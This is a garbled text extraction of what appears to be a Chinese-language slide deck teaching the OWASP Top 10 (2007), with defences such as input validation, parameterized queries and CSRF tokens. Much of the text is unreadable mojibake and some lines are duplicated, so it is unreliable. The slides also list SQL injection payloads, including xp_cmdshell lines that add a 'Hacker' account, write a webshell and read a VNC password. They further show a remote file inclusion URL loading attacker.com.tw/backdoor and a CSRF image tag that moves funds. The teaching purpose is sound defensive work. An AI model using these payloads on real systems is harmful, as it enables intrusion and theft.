� dd dd ÌÌ ÌÌ :ùùùù y sy sy sy s - � � �� � �� � �� � � ùùùù yy yy
if not isNumeric( Request.QueryString(“id”) ) Then

Response.end
end if

� dd dd ÌÌ ÌÌ : y z sy z sy z sy z s - � � � �� � � �� � � �� � � � == == �� �� ùùùù yy yy� dd dd ÌÌ ÌÌ : y z sy z sy z sy z s - � � � �� � � �� � � �� � � � == == �� �� ùùùù yy yy
set Reg = new RegExp
with Reg

.Pattern = “^[a-zA-Z0-9]+$”
end with

if not Reg.Test(Request.Form(“username”)) Then
Response.end

end if



� dd dd ÌÌ ÌÌ : SSN Validation

<%@ language="C#" %>
<form id="form1" runat="server">

<asp:TextBox ID="SSN" runat="server"/>

Y � M N Z [Y � M N Z [Y � M N Z [Y � M N Z [Y � M N Z [Y � M N Z [Y � M N Z [Y � M N Z [ (cont.)(cont.)

<asp:TextBox ID="SSN" runat="server"/>
<asp:RegularExpressionValidator ID="regexpSSN" 
runat="server"         

ErrorMessage="Incorrect SSN Number" 
ControlToValidate="SSN"         
ValidationExpression="^\d{3}-\d{2}-\d{4}$" />

</form>



� dd dd ÌÌ ÌÌ : ID/Password Validation
using System;
using System.Text.RegularExpressions;

public void CreateNewUserAccount(string name, string password)
{

// Check name contains only lower case or upper case letters, 

Y � M N Z [Y � M N Z [Y � M N Z [Y � M N Z [Y � M N Z [Y � M N Z [Y � M N Z [Y � M N Z [ (cont.)(cont.)

// Check name contains only lower case or upper case letters, 
// the apostrophe, a dot, or white space. Also check it is 
// between 1 and 40 characters long
if ( !Regex.IsMatch(userIDTxt.Text, @"^[a-zA-Z'./s]{1,40}$"))

throw new FormatException("Invalid name format");

// Check password contains at least one digit, one lower case 
// letter, one uppercase letter, and is between 8 and 10 
// characters long
if ( !Regex.IsMatch(passwordTxt.Text, @"^(?=.*\d)(?=.*[a-z])(?=.*[A-Z]).{8,10}$" ))

throw new FormatException("Invalid password format");

// Perform data access logic (using type safe parameters)
...

}



Y � M N Z [Y � M N Z [Y � M N Z [Y � M N Z [Y � M N Z [Y � M N Z [Y � M N Z [Y � M N Z [ (cont.)(cont.)

� w ¢w ¢w ¢w ¢[  \[  \[  \[  \

� EE EE �� �� 1 P1 P1 P1 PQuery
– � � Ã Ä Å Æ KÀ� � Ã Ä Å Æ KÀ� � Ã Ä Å Æ KÀ� � Ã Ä Å Æ KÀ SQL Ç ÈÇ ÈÇ ÈÇ È

/*
--

– É Ê Ë̈ JÌ hÉ Ê Ë̈ JÌ hÉ Ê Ë̈ JÌ hÉ Ê Ë̈ JÌ h
or 1=1--
or 2>1--
‘ or ‘’=‘

– ¬  c Í Î̈ Ï Ð¬  c Í Î̈ Ï Ð¬  c Í Î̈ Ï Ð¬  c Í Î̈ Ï Ð
and 1=1--
and 1=2--
‘;declare @a int;--



Y � M N Z [Y � M N Z [Y � M N Z [Y � M N Z [Y � M N Z [Y � M N Z [Y � M N Z [Y � M N Z [ (cont.)(cont.)

� EE EE �� �� 1 P1 P1 P1 PQuery(cont.)
– � c Í Ñ Ò £ ¤� c Í Ñ Ò £ ¤� c Í Ñ Ò £ ¤� c Í Ñ Ò £ ¤

��������	 
� � ��� � �

@@version>1

– ������������������������
1/01/0

– � � 	 
 � �  � �� � 	 
 � �  � �� � 	 
 � �  � �� � 	 
 � �  � �
order by 100

– � �� �� �� � union © � Ó Ô© � Ó Ô© � Ó Ô© � Ó Ô query
‘ union select col1,col2,… from table--

– Õ Ö k Á ×Ø Ù � ÚÕ Ö k Á ×Ø Ù � ÚÕ Ö k Á ×Ø Ù � ÚÕ Ö k Á ×Ø Ù � Ú
;exec master..xp_cmdshell ‘net user Hacker Hacker /add’;--
;exec master..xp_cmdshell 'echo WEBSHELL > path/a.asp‘--
;exec master..xp_regread
'HKEY_CURRENT_USER,Software\ORL\WinVNC3',Password;--



Y � M N Z [Y � M N Z [Y � M N Z [Y � M N Z [Y � M N Z [Y � M N Z [Y � M N Z [Y � M N Z [ (cont.)(cont.)

� � �� �� �� � dd dd ÌÌ ÌÌ :

set Reg = new RegExp
with Reg

.Pattern = "(select|update|insert|delete|['#;(),-/=\\*+])"

.IgnoreCase = True

.Global = True.Global = True
end with

test = Reg.Replace( Request.QueryString(“test”) , “” )

� ÚÚ ÚÚ �� �� w Ow Ow Ow O ����¬¬¬¬ � b c �� b c �� b c �� b c � 1 | A1 | A1 | A1 | A

� r �r �r �r � ff ff � P� P� P� P � �� �� �� �



Y � M N Z [Y � M N Z [Y � M N Z [Y � M N Z [Y � M N Z [Y � M N Z [Y � M N Z [Y � M N Z [ (cont.)(cont.)

� \\ \\ ]] ]] ^ _ !^ _ !^ _ !^ _ ! ÌÌ ÌÌ / ! "! "! "! " (Escaping)

input = Request.QueryString(“test”)

� ��������’����� � �� � �� � �� � � ����\’����
input = replace(input , “’” , “\’” )input = replace(input , “’” , “\’” )

� ��������”����� � �� � �� � �� � � ����\”����
input = replace(input , CHR(34) , “\” & CHR(34) )

� ��������--����� � �� � �� � �� � � ����\-\-����( � � � � � � � �� � � � � � � �� � � � � � � �� � � � � � � � -- � � � �  ! " #� � � �  ! " #� � � �  ! " #� � � �  ! " # )
input = replace(input , “--” , “\-\-“ )

� ��������/*����� � �� � �� � �� � � ����\/\*����( � � � � � � � �� � � � � � � �� � � � � � � �� � � � � � � � /* � � � �  ! " #� � � �  ! " #� � � �  ! " #� � � �  ! " # )
input = replace(input , “/*” , “\/\*“ )

� ��������;����� � �� � �� � �� � � ����\;����( � � � � � � � $ % �� � � � � � � $ % �� � � � � � � $ % �� � � � � � � $ % � ; & ' ( # � ! " #& ' ( # � ! " #& ' ( # � ! " #& ' ( # � ! " # )
input = replace(input , “;” , “\;” )



M N O \ ) 7 � ] �M N O \ ) 7 � ] �M N O \ ) 7 � ] �M N O \ ) 7 � ] �M N O \ ) 7 � ] �M N O \ ) 7 � ] �M N O \ ) 7 � ] �M N O \ ) 7 � ] � �������� ^ _^ _^ _^ _^ _^ _^ _^ _ !!

� �� �� �� �� ` X` X` X` X Parameterized QueriesU¿ � °U¿ � °U¿ � °U¿ � °

T'T'T'T'�� �� � 1� 1� 1� 1

�  ! ! ! ! q �q �q �q � �s�s�s�s �� �� _ ` x ¼ ¬_ ` x ¼ ¬_ ` x ¼ ¬_ ` x ¼ ¬ �� �� �� �� Ù ôÙ ôÙ ôÙ ô \\ \\ ´´ ´´ PPPP

SQL ~~ ~~ ~~ ~~ ¦¦¦¦[ ¬ Ù[ ¬ Ù[ ¬ Ù[ ¬ Ù �� �� P3P3P3P3 � ;� ;� ;� ; ~~ ~~ � �� �� �� � GGGGSQL
~ �~ �~ �~ � PPPP� �� �� �� � �� Q�� Q�� Q�� Q � ¡� ¡� ¡� ¡ �� �� 55 55 �� �� ������������¦¦¦¦~ �~ �~ �~ � PPPP� �� �� �� � �� Q�� Q�� Q�� Q � ¡� ¡� ¡� ¡ �� �� 55 55 �� �� ������������¦¦¦¦

� [ r[ r[ r[ r SQL ~ �~ �~ �~ � » i W ó» i W ó» i W ó» i W ó �� �� rr rr 44 44

– � � � � Û � O Ü Ý Þ ¸ º = � � ß à á� � � � Û � O Ü Ý Þ ¸ º = � � ß à á� � � � Û � O Ü Ý Þ ¸ º = � � ß à á� � � � Û � O Ü Ý Þ ¸ º = � � ß à á tttt
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M N O \ ) 7 � ] �M N O \ ) 7 � ] �M N O \ ) 7 � ] �M N O \ ) 7 � ] �M N O \ ) 7 � ] �M N O \ ) 7 � ] �M N O \ ) 7 � ] �M N O \ ) 7 � ] � (cont.)(cont.)

� � �� �� �� � dd dd ÌÌ ÌÌ (.NET)���� { �{ �{ �{ � Pó ~Pó ~Pó ~Pó ~ ����

���� SQL Injection !!

sSql = "SELECT LocationName FROM Locations ";
sSql = sSql + " WHERE LocationID = " + Request["LocationID"];sSql = sSql + " WHERE LocationID = " + Request["LocationID"];
oCmd.CommandText = sSql;
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M N O \ ) 7 � ] �M N O \ ) 7 � ] �M N O \ ) 7 � ] �M N O \ ) 7 � ] �M N O \ ) 7 � ] �M N O \ ) 7 � ] �M N O \ ) 7 � ] �M N O \ ) 7 � ] � (cont.)(cont.)

� � �� �� �� � dd dd ÌÌ ÌÌ (.NET – C#)������������ Pó ~Pó ~Pó ~Pó ~ ���� :

string connString = 
WebConfigurationManager.ConnectionStrings["myConn"].ConnectionString;
using (SqlConnection conn = new SqlConnection(connString)) 

{ { 
conn.Open();
SqlCommand cmd = new SqlCommand("SELECT Count(*) FROM 

Products WHERE ProdID=@pid", conn); 
SqlParameter prm = new SqlParameter("@pid", SqlDbType.VarChar, 50);
prm.Value = Request.QueryString["pid"]; 
cmd.Parameters.Add(prm); 
int recCount = (int)cmd.ExecuteScalar();

}
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M N O \ ) 7 � ] �M N O \ ) 7 � ] �M N O \ ) 7 � ] �M N O \ ) 7 � ] �M N O \ ) 7 � ] �M N O \ ) 7 � ] �M N O \ ) 7 � ] �M N O \ ) 7 � ] � (cont.)(cont.)

� � �� �� �� � dd dd ÌÌ ÌÌ (PHP)������������ Pó ~Pó ~Pó ~Pó ~ ���� :
– PDO (PHP Data Objects) (PHP >=5.1)

using bindParam()

$dbh = new PDO(DB_DSN, DB_USER, DB_PASSWORD); $dbh = new PDO(DB_DSN, DB_USER, DB_PASSWORD); 
$sql_find_repeat = 'SELECT COUNT(*) FROM `table_name` WHERE 
`col_name` = ?;'; 
$sth = $dbh->prepare($sql_find_repeat); 
$sth->bindParam(1, $value, PDO::PARAM_STR); 
$sth->execute(); 
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M N O ` aM N O ` aM N O ` aM N O ` aM N O ` aM N O ` aM N O ` aM N O ` a

� �� �� `` `` a � �a � �a � �a � � �� �� �� �� a ba ba ba b � c� c� c� c c dc dc dc d T'T'T'T' DB UUUU
Õ ÖÕ ÖÕ ÖÕ Ö �������� �� �� ,,,,b �b �b �b � � ó� ó� ó� ó ee ee bb bb '('('('(® $ �® $ �® $ �® $ � �� �� ====

� �  �  �  �   E i OE i OE i OE i O sa \\ \\ ´ [ r � Q´ [ r � Q´ [ r � Q´ [ r � Q �� �� � T� T� T� T PP PP �� �� !
� Ö � �Ö � �Ö � �Ö � � � 1� 1� 1� 1 þ � �þ � �þ � �þ � � �� �� 00 00 ff ff UÕ ÖUÕ ÖUÕ ÖUÕ Ö

� Ò ,Ò ,Ò ,Ò ,gg gg � ¹� ¹� ¹� ¹ � h� h� h� h � c� c� c� c �� �� h Uh Uh Uh Ui ji ji ji j �� �� k l mk l mk l mk l m

Ë Ö �Ë Ö �Ë Ö �Ë Ö � �������� L ÷L ÷L ÷L ÷ f nf nf nf n ====

� MS-SQL :
– sp_addextendedproc����sp_addlogin����sp_password����

sp_addsrvrolemember����xp_cmdshell����
xp_availablemedia����xp_dirtree����xp_servicecontrol����
xp_subdirs ……ââââtttt



b c d e ` ab c d e ` ab c d e ` ab c d e ` ab c d e ` ab c d e ` ab c d e ` ab c d e ` a

� [[ [[ o � 7 8 9 :o � 7 8 9 :o � 7 8 9 :o � 7 8 9 :

� � ¡� ¡� ¡� ¡ ,, ,, ¢¢ ¢¢ PPPP �� �� N � �N � �N � �N � �

� � H� H� H� H ££ ££ H PGH PGH PGH PG ¤¤ ¤¤ è é � �è é � �è é � �è é � �

� DD DD r � �r � �r � �r � � y ¥y ¥y ¥y ¥ Pè é � �Pè é � �Pè é � �Pè é � � ¦ h �¦ h �¦ h �¦ h � ô õô õô õô õ Log � �� �� �� �
� 88 88 pp pp N O : + �N O : + �N O : + �N O : + � q 7 8 9 :q 7 8 9 :q 7 8 9 :q 7 8 9 :

� For ASP.NET
– ) *) *) *) * debug � + , - . /� + , - . /� + , - . /� + , - . /

debug=“false”

– ) *) *) *) * trace 0 10 10 10 1
<trace enabled=“false” >

– 2 3 4 5 ��6 72 3 4 5 ��6 72 3 4 5 ��6 72 3 4 5 ��6 7
<customErrors mode=“On” defaultRedirect=“error.html” />



f g h $ i j Y k b c d ef g h $ i j Y k b c d ef g h $ i j Y k b c d ef g h $ i j Y k b c d ef g h $ i j Y k b c d ef g h $ i j Y k b c d ef g h $ i j Y k b c d ef g h $ i j Y k b c d e

�'r'r'r'r Ë :Ë :Ë :Ë : ss ss IIS UUUU
7 87 87 87 8 �� �� qq qq

� ZZ ZZ H sH sH sH s §§ §§ Pè é |Pè é |Pè é |Pè é |
�� �� øø øø XX XX

– p qp qp qp q 500-100.asp%%%%2222– p qp qp qp q 500-100.asp%%%%2222
V ! £ ¤ Jã ä ¥ åV ! £ ¤ Jã ä ¥ åV ! £ ¤ Jã ä ¥ åV ! £ ¤ Jã ä ¥ å
æ çæ çæ çæ ç tttt( 8 9 : � �8 9 : � �8 9 : � �8 9 : � �
/iishelp/common/500-
100.asp)
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� :: :: ss ss ASP 7 8 9 :7 8 9 :7 8 9 :7 8 9 :

f g h $ i j Y k b c d ef g h $ i j Y k b c d ef g h $ i j Y k b c d ef g h $ i j Y k b c d ef g h $ i j Y k b c d ef g h $ i j Y k b c d ef g h $ i j Y k b c d ef g h $ i j Y k b c d e (cont.)(cont.)



OS Command InjectionOS Command Injection

�AP � � � �� � � �� � � �� � � � �� �� L M N OL M N OL M N OL M N O �� �� 8 U� c8 U� c8 U� c8 U� c

� T U � � ¨T U � � ¨T U � � ¨T U � � ¨ �� �� ©© ©© � � -� � -� � -� � - XX XX �ø�ø�ø�ø

� tt tt ee ee 66 66 $$ $$ W X Y VW X Y VW X Y VW X Y V ãã ãã Ò H � ÷ � � �Ò H � ÷ � � �Ò H � ÷ � � �Ò H � ÷ � � � � u� u� u� u

I vI vI vI v ØØ ØØ ww ww T L M N O þ �T L M N O þ �T L M N O þ �T L M N O þ � ����Æ ¤ ô õ ø ³Æ ¤ ô õ ø ³Æ ¤ ô õ ø ³Æ ¤ ô õ ø ³I vI vI vI v ØØ ØØ ww ww T L M N O þ �T L M N O þ �T L M N O þ �T L M N O þ � ����Æ ¤ ô õ ø ³Æ ¤ ô õ ø ³Æ ¤ ô õ ø ³Æ ¤ ô õ ø ³

´́́́====
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� �� �� �� �� �� �� �� �
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� �� �� �� �� �� �� �� � (cont.)(cont.)
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� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A

� | A ¹ º| A ¹ º| A ¹ º| A ¹ º

� è é êè é êè é êè é ê

� ë é ê Q ìë é ê Q ìë é ê Q ìë é ê Q ì :
– ; < & = > ?; < & = > ?; < & = > ?; < & = > ? ; | & and newline
– 4 @ > ?4 @ > ?4 @ > ?4 @ > ?  ̀(the backtick operator)

� w Ow Ow Ow O TT TT HH HH OO OO � P� P� P� PAPI���� \\ \\ ´´ ´´ OS Z [Z [Z [Z [ ¦¦¦¦

� í îí îí îí î � � ï ð� � ï ð� � ï ð� � ï ð cmd.exe B } JB } JB } JB } Jshell��������%%%%ñ � � ò óñ � � ò óñ � � ò óñ � � ò ó
ô õ � º = JÎ �ô õ � º = JÎ �ô õ � º = JÎ �ô õ � º = JÎ � tttt

– JAVA : Runtime.exec()
– ASP.NET : Process.Start()

� Ù Ú Z ÇÙ Ú Z ÇÙ Ú Z ÇÙ Ú Z Ç qq qq 00 00
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�AP � �� �� �� � x yx yx yx y H � ÷ U� �H � ÷ U� �H � ÷ U� �H � ÷ U� � �� �� � ° + | ô� ° + | ô� ° + | ô� ° + | ô

õ d eõ d eõ d eõ d e ����H � y � H � y � H � y � H � y �  z {z {z {z { U�U�U�U� �� �� :
�PHP : eval()
�ASP : Execute()

Code InjectionCode Injection

��������	
��������

� � � ÷ ù � � U� � ÷ ù � � U� � ÷ ù � � U� � ÷ ù � � U�� �� � �� �� �� � | J }| J }| J }| J } � þ � U�� þ � U�� þ � U�� þ � U�

�� �� �� �� ����~~ ~~ �� �� �� �� �� �� �� �� � þ �� þ �� þ �� þ �

� �� �� � � �� � �� � �� � � /½ ÷/½ ÷/½ ÷/½ ÷ E �E �E �E � ����J � ²þ �J � ²þ �J � ²þ �J � ²þ � � *� *� *� *UUUU

� � ¨� � ¨� � ¨� � ¨ SS SS ====
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OWASP Top10(2007)-3
Malicious File Execution



OWASP Top 10 (2007) OWASP Top 10 (2007) -- 33

�Malicious File Execution
� } � � �} � � �} � � �} � � � �� �� � U� U� U� U� �� �� �� � ²9 H � ÷ ¾ b²9 H � ÷ ¾ b²9 H � ÷ ¾ b²9 H � ÷ ¾ b �� �� �� ��

UUUU�� �� � °� °� °� ° �� �� �� �� ====

� ÌÌ ÌÌ ªª ªª ;ù;ù;ù;ù language=enUUUUtwÞ qÞ qÞ qÞ q U «U «U «U « A E ÃA E ÃA E ÃA E Ã ~~ ~~� ÌÌ ÌÌ ªª ªª ;ù;ù;ù;ù language=enUUUUtwÞ qÞ qÞ qÞ q U «U «U «U « A E ÃA E ÃA E ÃA E Ã ~~ ~~

� P�ø� P�ø� P�ø� P�ø J KJ KJ KJ K

� � � ÷� � ÷� � ÷� � ÷ �� �� `` `` �� �� �� �� ����ù Á ¾ù Á ¾ù Á ¾ù Á ¾ �� �� � ¯ ! U¶� ¯ ! U¶� ¯ ! U¶� ¯ ! U¶ �� ��

� �� �� �� � (,,,,gg gg ²²²²Script) � þ �� þ �� þ �� þ � ====



Malicious File ExecutionMalicious File Execution SampleSample

� � �� �� �� � (PHP)
� q rq rq rq r ����oooo :

– https://www.test.com.tw/main.php?Country=tw
– � W � � X ö ÷ Q ø E J� � 5 � ù ú V !� W � � X ö ÷ Q ø E J� � 5 � ù ú V !� W � � X ö ÷ Q ø E J� � 5 � ù ú V !� W � � X ö ÷ Q ø E J� � 5 � ù ú V !

$country = $_GET[‘Country’];$country = $_GET[‘Country’];
include($country .  ‘.php’);

� � � _ `� � _ `� � _ `� � _ ` :
– û ü ý � z / 0 þ �û ü ý � z / 0 þ �û ü ý � z / 0 þ �û ü ý � z / 0 þ � “ backdoor.php”
–���� q � Wq � Wq � Wq � W ���� ÁÁ ÁÁ ����

https://www.test.com.tw/main.php?Country=http://
www.attacker.com.tw/backdoor

–���� � � � � ®� � � � ®� � � � ®� � � � ® �� �� � õ � ¹ / 0 þ �� õ � ¹ / 0 þ �� õ � ¹ / 0 þ �� õ � ¹ / 0 þ �
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� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A

� � �� �� �� � ù ½ ¾ $ K ¤ù ½ ¾ $ K ¤ù ½ ¾ $ K ¤ù ½ ¾ $ K ¤ �� �� � �� �� �� � �� �� � U� U� U� U� � ��� � ��� � ��� � ��

� � � ¨� � ¨� � ¨� � ¨ SS SS

� w Ow Ow Ow O 55 55 gg gg 6 ¬ 6 ¬ 6 ¬ 6 ¬ 

– �� �� ú � øú � øú � øú � ø �� �� G JV � � G JV � � G JV � � G JV � � 

–– �� �� ú þ � � ¼ú þ � � ¼ú þ � � ¼ú þ � � ¼ �� �� � J«� J«� J«� J« �� �� �� �� 		 		

� w Ow Ow Ow O “ indirect object reference map”
– https://www.test.com.tw/main.aspx?Country=1
– 
 A B
 A B
 A B
 A B :

1 � “tw.aspx”
2� “en.aspx”
Others � Reject !



OWASP Top10(2007)-4
Insecure Direct Object Reference



OWASP Top 10 (2007) OWASP Top 10 (2007) -- 44

�Insecure Direct Object Reference
� � � ÷ � �� � ÷ � �� � ÷ � �� � ÷ � � Web a � �a � �a � �a � � �� �� 00 00 ff ff UUUU“ �� �� ÍÍ ÍÍ TTTT

'''' � c� c� c� c ” �� �� � � '� � '� � '� � '¹¹ ¹¹ �� �� ¨¨ ¨¨ �� �� UUUU� �� �� �� �

�http://www.xxx.com.tw/showPage.aspx?page=�http://www.xxx.com.tw/showPage.aspx?page=
main.aspx

� Ü Ý ¶Ü Ý ¶Ü Ý ¶Ü Ý ¶ @@ @@ :
– 
 �
 �
 �
 �
– �� �� hh hh

– � W� W� W� W …

Demo ���� … .



� � l m� � l m� � l m� � l m� � l m� � l m� � l m� � l m



� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A

� qq qq 00 00 : ®® ®® � w O x P| A� w O x P| A� w O x P| A� w O x P| A y zy zy zy z E �E �E �E � ¯ %¯ %¯ %¯ % ô õ � Tô õ � Tô õ � Tô õ � T

Å ÆÅ ÆÅ ÆÅ Æ (U� �U� �U� �U� � ) Þ g h PG p qÞ g h PG p qÞ g h PG p qÞ g h PG p q .
� ÙÙ ÙÙ � �� �� �� � ~~ ~~ : index value or a reference map

�http://www.example.com/application?file=1
�)� �)� �)� �)� � : 1 ���� “ function_AddUser.aspx”�)� �)� �)� �)� � : 1 ���� “ function_AddUser.aspx”

� Í ÎÍ ÎÍ ÎÍ Î :
�  � � � � � � � � = � � -= � � -= � � -= � � - �� �� (TTTT Null byte)J� � � V �J� � � V �J� � � V �J� � � V � � �� �� �� �

– C D � E F G H 
 . IC D � E F G H 
 . IC D � E F G H 
 . IC D � E F G H 
 . I Decoded J AJ AJ AJ A

� & ' V � Jþ � «& ' V � Jþ � «& ' V � Jþ � «& ' V � Jþ � « �� �� � )º� )º� )º� )º � �� �� �� � J� �J� �J� �J� � � �� �� �� � XX XX

– Java : java.io.File ���� getCanonicalPath()
– ASP.NET : System.Io.Path.GetFullPath()

� � �� �� �� � [ c[ c[ c[ c !



� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A (cont.)(cont.)

�For PHP:
� In php.ini

– ) *) *) *) * allow_url_fopenKKKKallow_url_include
– L 5L 5L 5L 5 open_basedir

� && && �� �� � � � JV �� � � JV �� � � JV �� � � JV � � �� �� �� � � � ¨̂ ø E B } k � º �� � ¨̂ ø E B } k � º �� � ¨̂ ø E B } k � º �� � ¨̂ ø E B } k � º � :
– include() KKKKinclude_once() KKKK require() KKKK require_once() KKKK

fopen() KKKK imagecreatefromXXX() KKKK file() KKKK
file_get_contents() KKKK copy() KKKK delete() KKKK unlink() KKKK
upload_tmp_dir() KKKK move_uploaded_file()KKKK $_FILES 

� -- -- �� �� "" "" � � �� � �� � �� � � BB BB �� �� k � Jk � Jk � Jk � J���� ÁÁ ÁÁ :
– system() KKKK eval()KKKKpassthru() or  ̀(the backtick operator)



OWASP Top10(2007)-5
Cross-Site Request Forgery (CSRF)



OWASP Top 10 (2007) OWASP Top 10 (2007) -- 55

�Cross-Site Request Forgery (CSRF)(XSRF)
� _ ` x_ ` x_ ` x_ ` x ** ** °° °° v Av Av Av A ±± ±± �� Pw O x \�� Pw O x \�� Pw O x \�� Pw O x \EEEE ² ³² ³² ³² ³ PêPêPêPê

´´ ´´ ¿ 	¿ 	¿ 	¿ 	 � µ ¶ 3 · S ¸ �� µ ¶ 3 · S ¸ �� µ ¶ 3 · S ¸ �� µ ¶ 3 · S ¸ � �������� = \= \= \= \ ´´ ´´ % O% O% O% O ¦¦¦¦

� _ `_ `_ `_ ` ¹¹ ¹¹ �� ��

� � � � � = > ? J� 1� � � � = > ? J� 1� � � � = > ? J� 1� � � � = > ? J� 1 (×r ê×r ê×r ê×r ê )� � � � � = > ? J� 1� � � � = > ? J� 1� � � � = > ? J� 1� � � � = > ? J� 1 (×r ê×r ê×r ê×r ê )
� �� �� . ! / 0 � 1. ! / 0 � 1. ! / 0 � 1. ! / 0 � 1     ©© ©©

� ÷ Q÷ Q÷ Q÷ Q ! " #! " #! " #! " # ���� $ % &$ % &$ % &$ % & hh hh ×××× ' (' (' (' ( J/ 0 � �J/ 0 � �J/ 0 � �J/ 0 � � ââââ ) * + ,) * + ,) * + ,) * + ,



How XSRF How XSRF Works Works 

Alice Bank.com
/login.html

Cookie: sessionid=40a4c04de

/auth.aspx?id=Alice&pw=fmd9032

/transfer.aspx?from=Alice&to=Bob&amt=$10000
Cookie: sessionid=40a4c04de

“Transfer Done !”“Transfer Done !”

Cookie: sessionid=40a4c04de



Evil.org

How XSRF How XSRF Works(cont.) Works(cont.) 

Alice Bank.com
/login.html

Cookie: sessionid=41d8u31op

/auth.aspx?id=Alice&pw=fmd9032

/evil.html
<IMG SRC=http://bank.com/transfer.aspx
?from=Alice&to=Evil&amt=$10000 >

/transfer.aspx?from=Alice&to=Evil&amt=$10000
Cookie: sessionid=41d8u31op

Cookie: sessionid=41d8u31op

“Transfer Done !”“Transfer Done !”



� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A

� �� �� 
 �
 �
 �
 � �� �� 00 00 f 6f 6f 6f 6 $$ $$ XSSU³ ´U³ ´U³ ´U³ ´

� ¹ � H �¹ � H �¹ � H �¹ � H � GET � �� �� �� � ( RR RR � ~ �� ~ �� ~ �� ~ � �� �� ) ° � �° � �° � �° � � �� ��

� U� U� U� Uv �v �v �v � Ë � cË � cË � cË � c ====

� Á ¾ �Á ¾ �Á ¾ �Á ¾ � �� �� �� �� “ � �� �� �� � ” � � '(�� � '(�� � '(�� � '(� � �� �� �� � �� ��� Á ¾ �Á ¾ �Á ¾ �Á ¾ � �� �� �� �� “ � �� �� �� � ” � � '(�� � '(�� � '(�� � '(� � �� �� �� � �� ��

�General - Request ["name"] 
– -- -- ~~ ~~ .. .. ÚÚ ÚÚ : Query String->Form->Server Variables

�GET – Request.QueryString[“ name” ]
�POST – Request.Form[“ name” ] (����OK)
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� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A (cont.)(cont.)

� Ö � H � ÷ U� � $Ö � H � ÷ U� � $Ö � H � ÷ U� � $Ö � H � ÷ U� � $ � 2 �� 2 �� 2 �� 2 � ====

� �� �� �� �� �� �� � U� U� U� Uv �v �v �v � Ë � cË � cË � cË � c ����� �� �� �� � � �� �� �� � re-
authenticate Ë ²H �Ë ²H �Ë ²H �Ë ²H � transaction signing 
UK �UK �UK �UK � ====

� �� �� 
 H � ÷ ²� � R � 0
 H � ÷ ²� � R � 0
 H � ÷ ²� � R � 0
 H � ÷ ²� � R � 0 ff ff ®® ®® � ;� ;� ;� ; UUUU)[)[)[)[

° � �° � �° � �° � � � �� �� �� � � c� c� c� c

� EE EE � º� º� º� º Í Î ÈÍ Î ÈÍ Î ÈÍ Î È ;; ;; � � Q � �� � Q � �� � Q � �� � Q � � !
– [ \[ \[ \[ \ HTTP Referer Header ���� �� �� // // %%%%� ¼� ¼� ¼� ¼ 0 10 10 10 1 !
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� �� �� m R � H �m R � H �m R � H �m R � H � CAPTCHA
�������: Completely Automated Public 

Test to tell Computers and Humans Apart
� O �O �O �O �®® ®® n � � 	 � ��n � � 	 � ��n � � 	 � ��n � � 	 � �� �� �� ¥¥ ¥¥ .... EE EE �� �� ss ss P »P »P »P » � �� �� �� �

� G ¶G ¶G ¶G ¶ Challenge-Response & ' ^ Y& ' ^ Y& ' ^ Y& ' ^ Y

� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A (cont.)(cont.)

� G ¶G ¶G ¶G ¶ Challenge-Response & ' ^ Y& ' ^ Y& ' ^ Y& ' ^ Y

� ii ii ¼ ½ ¾¼ ½ ¾¼ ½ ¾¼ ½ ¾ OO OO ����� < ¿� < ¿� < ¿� < ¿ ¼ � � �¼ � � �¼ � � �¼ � � � À �À �À �À � !
– Yahoo Mail (2008.1)
– Gmail (2008.4)
– Hotmail (2008.4) 



– ¼¼ ¼¼ 22 22 Ä JÄ JÄ JÄ JYahoo CAPTCHA

� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A (cont.)(cont.)

169



� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A (cont.)(cont.)

– CAPTCHA Decoder
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��������� u ~u ~u ~u ~ :
– Each link and form contains an unpredictable 

token for each user(or request)
– �� �� �� �� :

� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A (cont.)(cont.)

��������	��
 � random token
�  � � � � � � 	� � �� �� � � ��

session data��
� � � �  ! " # $ % �& ' 	( # �� ) �

�� * ! + , - . �

/ 0 1 2 3 OO OO 3 � 43 � 43 � 43 � 4 	4 5 56 7 8 9 : � 171



OWASP Top10(2007)-6
Information Leakage & 

Improper Error Handling



OWASP Top 10 (2007) OWASP Top 10 (2007) -- 66

�Information Leakage and Improper Error 
Handling

�Web a � �a � �a � �a � � � =� =� =� = Ø ½ ¾ Uþ �Ø ½ ¾ Uþ �Ø ½ ¾ Uþ �Ø ½ ¾ Uþ � 7 8 9 :7 8 9 :7 8 9 :7 8 9 : �� ��

� |� |� |� | y Ôy Ôy Ôy Ô �� �� U�U�U�U� 99 99 ====



n o p q M N 	 b c d en o p q M N 	 b c d en o p q M N 	 b c d en o p q M N 	 b c d en o p q M N 	 b c d en o p q M N 	 b c d en o p q M N 	 b c d en o p q M N 	 b c d e
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.Net Error Message.Net Error Message

(������)



� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A

� [[ [[ oo oo a � N O : Þ Ua � N O : Þ Ua � N O : Þ Ua � N O : Þ U7 8 9 :7 8 9 :7 8 9 :7 8 9 : ñ �ñ �ñ �ñ �

� w Ow Ow Ow O Try-Catch Exceptions�
 ��
 ��
 ��
 �

� �� �� �� �� Ñ � Pè é � �Ñ � Pè é � �Ñ � Pè é � �Ñ � Pè é � �

����� Return 200 Status Code
� è é � � E i ¯ þè é � � E i ¯ þè é � � E i ¯ þè é � � E i ¯ þ ®® ®®

– � T� T� T� T: � � £ ¤� � £ ¤� � £ ¤� � £ ¤

� 66 66 � �   ¡� �   ¡� �   ¡� �   ¡ UUUU7 8 9 :7 8 9 :7 8 9 :7 8 9 : ¹ � � Ø ½ ¾¹ � � Ø ½ ¾¹ � � Ø ½ ¾¹ � � Ø ½ ¾

